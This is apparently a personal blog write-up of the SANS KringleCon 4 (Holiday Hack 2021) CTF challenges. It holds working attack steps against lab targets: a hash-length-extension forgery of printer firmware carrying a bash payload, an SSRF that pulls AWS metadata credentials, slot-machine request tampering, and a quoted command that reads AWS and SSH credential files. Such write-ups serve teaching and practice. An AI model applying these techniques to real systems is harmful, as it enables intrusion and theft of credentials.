Contents:

Overview:

Every year SANS puts on KringleCon, which takes place at the north pole, but some sort of shenanigans occur which participants are Tasked to investigate. This year was no different for KringleCon 4: Calling Birds. Jack Frost built a tower next to Santa’s Mansion to run a Red Team oriented Con, while Santa’s KringleCon focused on Blue Team.
In order to determine what has transpired I had to determine what occurred! This year there were 13 challenges, and I completed 11. This post will discuss my progress through KringleCon 2021.

Objectives:

Task 1: Introduction

nothing, just follow the prompts

Task 2: carmel sandiego

play a game and find jingle

For this task, we were given an OSINT like terminal and tasked with playing a game to identify an elf. It was pretty straight forward.

Task 3: Thawing the tower

This task was really fun. We were given a wifi dongle that could scan for nearby networks. To solve the challenge you had to connect to the door of frost tower and get it to unlock by using a whole in the api that enabled you to control the temperature.

connect via wifi:

These are the commands that enabled you to connect to the wifi of the frost tower temperature controller.

  • iwlist wlan0 scan
  • iwconfig wlan0 essid "FROST-Nidus-Setup"

get into api:

These were the vulnerable API parameters, and the final API payload that helped melt the door!

  • curl http://nidus-setup:8080/
  • curl http://nidus-setup:8080/apidoc
curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": 0}' \
  http://nidus-setup:8080/api/cooler

Task 4: slot machine

In this challenge the slot machines deployed in jack frost’s tower did not perform any validation on the parameters that were passed from the client so using the hint provided in the challenge it was pretty easy. The difficult part was setting up the man in the middle proxy I decided to use: mitmproxy.

hint:

This was the hint given as part of the challenge. For each challenge in the holiday hack, there is a side quest you can accomplish that usually involves a simpler task that is more instructive rather than challenging. For this task, the hint provided linked to owasp:

solve:

For this part I had to modify the request after it met the client. Man in the middle proxy made this pretty easy. I think burpsuite is a popular tool, but its an expensive paid product. So I wanted to find an open source easier alternative and mitmproxy was it! Heres a few notes about how I was able to use the custom cert that gets created on mitmproxy initialization inside firefox to man in the middle https traffic:

  • execute to create ~/.mitmproxy/
  • load cert into firefox: about:preferences -> certs -> import ~/.mitmproxy/mitmproxy-ca-cert.pem

Once I had the request, I was able to modify the client request with the following values:

1
2
3
betamount: 10
numline:   -1000
cpl:       0.5

And received the following reply with the unique response that was the desired answer for the question. The trolls deserve to be upset, since I was able to get the slot machine to output a very large jackpot!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
    "data": {
        "bet_amount": 10,
        "credit": 5094.88,
        "free_num": 0,
        "free_spin": 0,
        "jackpot": 0,
        "num_line": -1000,
        "pull": {
            "ActiveIcons": [],
            "ActiveLines": [],
            "FreeSpin": 0,
            "HasJackpot": false,
            "HasScatter": false,
            "ScatterPrize": 0,
            "SlotIcons": [
                "icon9",
                "icon4",
                "icon4",
                "wild",
                "icon9",
                "icon3",
                "wild",
                "icon1",
                "icon9",
                "scatter",
                "icon4",
                "icon2",
                "icon10",
                "icon6",
                "icon8"
            ],
            "WildColumIcon": "",
            "WildFixedIcons": [],
            "WinAmount": 0
        },
        "response": "I'm going to have some bouncer trolls bounce you right out of this casino!",
        "scaler": 0
    },
    "message": "Spin success",
    "success": true
}

Task 5: usb device

In this challenge we were given command line access to a machine infected by a rubber ducky malware. As part of the challenge we were provided a python script that used the rubber ducky python package to decode the compiled rubber ducky binary. The command below grabs the line in the payload that echos out a reversed base64 encoded string, so the command below undoes these steps. Inside the payload we can find the user who created the script, since the adversary forgot to remove their login info. We can see that ickymcgoop is the bad actor!

solve:

The command:

  ./mallard.py --file /mnt/USBDEVICE/inject.bin | grep "STRING echo ==" | awk '{printf "%s",$3} END {print ""}' | rev | base64 -d

The output: output

Task 6: Shellcode

For this challenge, see my other posts on shellcoding. I’ve gotten tons of experience doing this in my past CTFs, so I didn’t record any information here. In my opinion, the challenge was actually a very simplified shellcoding challenge since there were no restraints placed on the payloads that were executed and a debugger was provided.

Task 7: printer exploit

This was definitely my favorite challenge I did out of all the challenges I completed! We are given url to a printer UI and are tasked with finding out the last excel (with extension .xlsx) file that was sent to the printer!

initial research:

In an intial scan of the website we find a URL for downloading and uploading firmware, while all the other URLs require a login. After downloading the firmware and throwing it into Ghidra (my favorite RE tool), we can see the firmware is just a linux binary with a simple function to print out a string. So my first question was how can I get this binary to execute malicious functionality? However the firmware is signed so its not as easy as uploading a new binary.

The below command grabs the firmware out of the export:

1
jq -r '.firmware' ./firmware-export.json | base64 -d > temp.zip && unzip temp.zip && rm temp.zip

hints?

I wasn’t sure what to do at this point, so I went to the elf for the challenge and got the following hint:
- hash extension attack

But not only that we have another hint that was super useful:

Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/.

AND 

"did you know that if you append multiple files of that type the last one is processed?"

If you want to learn more about the attack, read the blog post. The short of it is, since the secret used to verify the firmware is PREPENDED before the firmware as part of the hashing step, we can just pickup where the old algorithm left off and add another zip file to the original firmware! Luckily, the new zip will be the only file considered and we can get the printer to execute our new malicious firmware! Finally, we even have a convenient storage location that we can pick up an output from our malicious firmware (provided by the hint).

get a payload to grab the data:

So we construct a payload to get the data we need. Since the original firmware was just a linux executable we can feed it a bash script to read our desired data! However to ensure it executes we need to give it the same file permissions as the original executable and ensure it has execute permissions (I found this out through trial and error).

echo -n "#\!/bin/bash\ngrep xlsx /var/spool/printer.log | tail -1 > /app/lib/public/incoming/mastermjr" > payload.bin
chmod +x payload.bin
zip -r firmware.zip payload.bin

extend the hash!

These following steps were how I successfully extended the hash using the hash_extender tool provided in the original hint!

  • execute the hash extension attack on the original firmware-export.json
  • At first I simply attempted to use the base64 encoded data, but got this error, so I learned it base64 after verifying the original firmware:
    • Failed to verify the signature! Make sure you are signing the data correctly: sha256(<secret> + raw_file_data)
  • first get strings that can input to the hash_extender:
    -d "$(jq -r '.firmware' ./firmware-export.json | base64 -d | od -t x1 -An | tr -d ' '| tr -d '\n')"
    -s "$(jq -r ".signature" firmware-export.json)"
    -a "$(cat firmware.zip | od -t x1 -An | tr -d ' ' | tr -d '\n')"
    -f sha256
    -l "$(jq -r ".secret_length" firmware-export.json)"
    
  • final command:
1
2
$ ./hash_extender.bin -d "$(jq -r '.firmware' ./firmware-export.json | base64 -d | od -t x1 -An | tr -d ' '| tr -d '\n')" -s "$(jq -r ".signature" firmware-export.json)" -a "$(cat firmware.zip | od -t x1 -An | tr -d ' ' | tr -d '\n')"  --append-format=hex --data-format=hex -f sha256 --out-data-format=hex -l 16  | grep sig
New signature: 618e233094a2f2a1107bb2e47e647b9fa3296a78cdc457c665d1058b0b3aca6d
  • take the “data output” from the hash extender command and paste into cyberchef to get the new base64! image

finish and exploit!

Finally, we see that the last uploaded file was the troll pay chart!

Troll_Pay_Chart.xlsx

Task 9 splunk:

This task was pretty fun, but for my writeup I skipped over the basic queries and wanted to include the ones where the investigation into the website started. The scenario gives you access to log data for a web application Santa deployed, but some bugs were happening. Our job is to take complaints from the elves and determine what went wrong. In task 6, we find evidence of malicious activity, so I’ll proceed from there!

6:

Here we are given a search and we pivot off that search to find the process that created the network activity by looking for sysmon events with Event ID 1 which is process creation!

Question:
Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious:
Answer:

  • /usr/bin/nc.openbsd

7:

In this question we pivot from the PID we found before, find its parent and then find the other pid of the related process which is a cat command.

Question:
Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don’t indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here. (6 files were oppeneded).
Answer:

  • Pivots: 6791 pid -> 6788 parent_pid -> 6790 pid
  • Final command: cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts

8:

Finally we find the script that sarted it all!

Question:
Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.
Answer:

  • source=“Journald:Microsoft-Windows-Sysmon/Operational” process_id=6788
  • look in ParentCommandLine:
    • preinstall.sh:

Task 10: now-hiring

This was a really neat web challenge. That was one part I appreciated about the Jack Frost Tower side of challenges is that they were nice introductions into web exploits, as thats something I’ve usually avoided in CTFS. In this challenge we are presented a now-hiring website and tasked with getting the “secretAccessKey”, which will give us control of the whole website!

hint:

Through the troll that provides this hint (yes on Jack’s side the hint givers are trolls!), I found out that we could utilize the AWS IMDS api to retrieve information about the website. However usually this API is only accessible from inside the application’s internal firewall!

use the hint:

However in one of the application forms on the website we are able to provide a URL to our “resume”, so we can use that to our advantage and visit the IMDS url!

send web request (through proxy):

Now the trick is figuring out how to get the output, which we find is actually available in the picture that would normally display the user who is applying, but in our case it matches our name that we prove in the form.

https://apply.jackfrosttower.com/?inputName=asdf&inputEmail=asdf%40asdf.com&inputPhone=&inputField=Aggravated+pulling+of+hair&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data&additionalInformation=&submit=

The picture doesn’t display properly in the browser, so I downloaded it locally and opened it on the commandline. Turns out it was the output of the IMDS command!

╰─$ curl 'https://apply.jackfrosttower.com/images/asdf.jpg' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0' -H 'Accept: image/avif,image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://apply.jackfrosttower.com/?inputName=asdf&inputEmail=&inputPhone=&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F&additionalInformation=&submit=' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Sec-Fetch-Dest: image' -H 'Sec-Fetch-Mode: no-cors' -H 'Sec-Fetch-Site: same-origin'
╰─$ cat asdf.jpg
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/ami
block-device-mapping/ebs0
block-device-mapping/ephemeral0
block-device-mapping/root
block-device-mapping/swap
elastic-inference/associations
elastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1
events/maintenance/scheduled
events/recommendations/rebalance
hostname
iam/info
iam/security-credentials
iam/security-credentials/jf-deploy-role
instance-action
instance-id

commands:

next we can use an IMDS url to grab the data for the access key! http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role

Gives us the resulting secret access key:

{
        "Code": "Success",
        "LastUpdated": "2021-05-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-05-02T18:50:40Z"
}%

Task 11: customer complaint analysis:

This one was a fun pcap to analyze, but was on the easy side of analysis. It tripped me up for a bit, but eventually I found the answer! We’re given a pcap and asked to identify the 3 trolls that complained about the human who accessed the wifi network in error!

find the woman

Examining the pcap we find HTTP data contained inside. Browsing the http data we see that there are various submissions to a “complaint” website, which appears to be a service for the trolls to complain about customers of the hotel. Honestly the complaints and the trolls responses were pretty hilarious, but you eventually run into a complaint from a human who is not a troll, with an error for the response!:

HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "name" = "Muffy VonDuchess Sebastian"
        Form item: "troll_id" = "I don't know. There were several of them."
            Form item: "guest_info" = "Room 1024"
                Form item: "description" = "I have never, in my life, been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost!"
                    Form item: "submit" = "Submit"
Here response returns ERROR!

find the 3 trolls that mention 1024

Next we just grep the pcap for the 3 lines containing the woman’s room number, and therefore we have an answer: Flud Hagg Yaqh

╰─$ cat jackfrosttower-network.pcap | strings  | grep -i name | grep 1024
name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=Submit
name=Flud&troll_id=2083&guest_info=Very+cranky+lady+in+room+1024&description=Lady+call+front+desk.+Complain+%22employee%22+is+rude.+Say+she+is+insult+and+want+to+speak+to+manager.+Send+Flud+to+room.+Lady+say+troll+call+her+towels+thief.+I+say+stop+steal+towels+if+is+bother+her.&submit=Submit
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=Submit
name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=Submit

Task 13: fpga

The final task I completed was the fpga task, which was honestly pretty novel and unique. Learning to code in verilog was painful and not straightforward, but with a little help from other participants I came up with some code that was able to turn the clock of the fpga control into the appropriate frequencies. Whats interesting about this low level of embedded programming is that execution actually occurs through logic gates rather than as executed assembly commands like on a regular processor.

It was a really cool experience, and I learned a ton about fpga’s, but this was definitely my least favorite challenge. There were some useful links provided, so I decided to include them here:

solution:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    //$rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1
    //$rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1
    // Remove the following line and add your own implementation.
    // Note: It's silly, but it compiles..
    reg out = 0;
    real desired = 625000000/freq*10;
    real counter = desired;
    assign wave_out = out;
    always @(posedge rst or posedge clk)
    begin
        if(rst == 1)
        begin
            counter <= 0;
            out <= 1;
        end
        else
            begin
                if(counter == 0)
                    begin
                        if ($rtoi(desired * 10) - ($rtoi(desired) * 10) > 4)
                        begin
                            counter <= desired;
                        end
                        else counter <= desired - 1;
                        out <= ~out;
                     end
                else counter <= counter - 1;

            end
    end
endmodule

Conclusion:

Overall the Holiday Hack was very enjoyable, and I learned a ton! Hopefully next year I’ll be able to have time to solve all the challenges and get submitted for the grand prize! This blog could have included more pictures, but ah well. Hope someone on the internet enjoys reading this :) If you made it this far, thanks for reading!!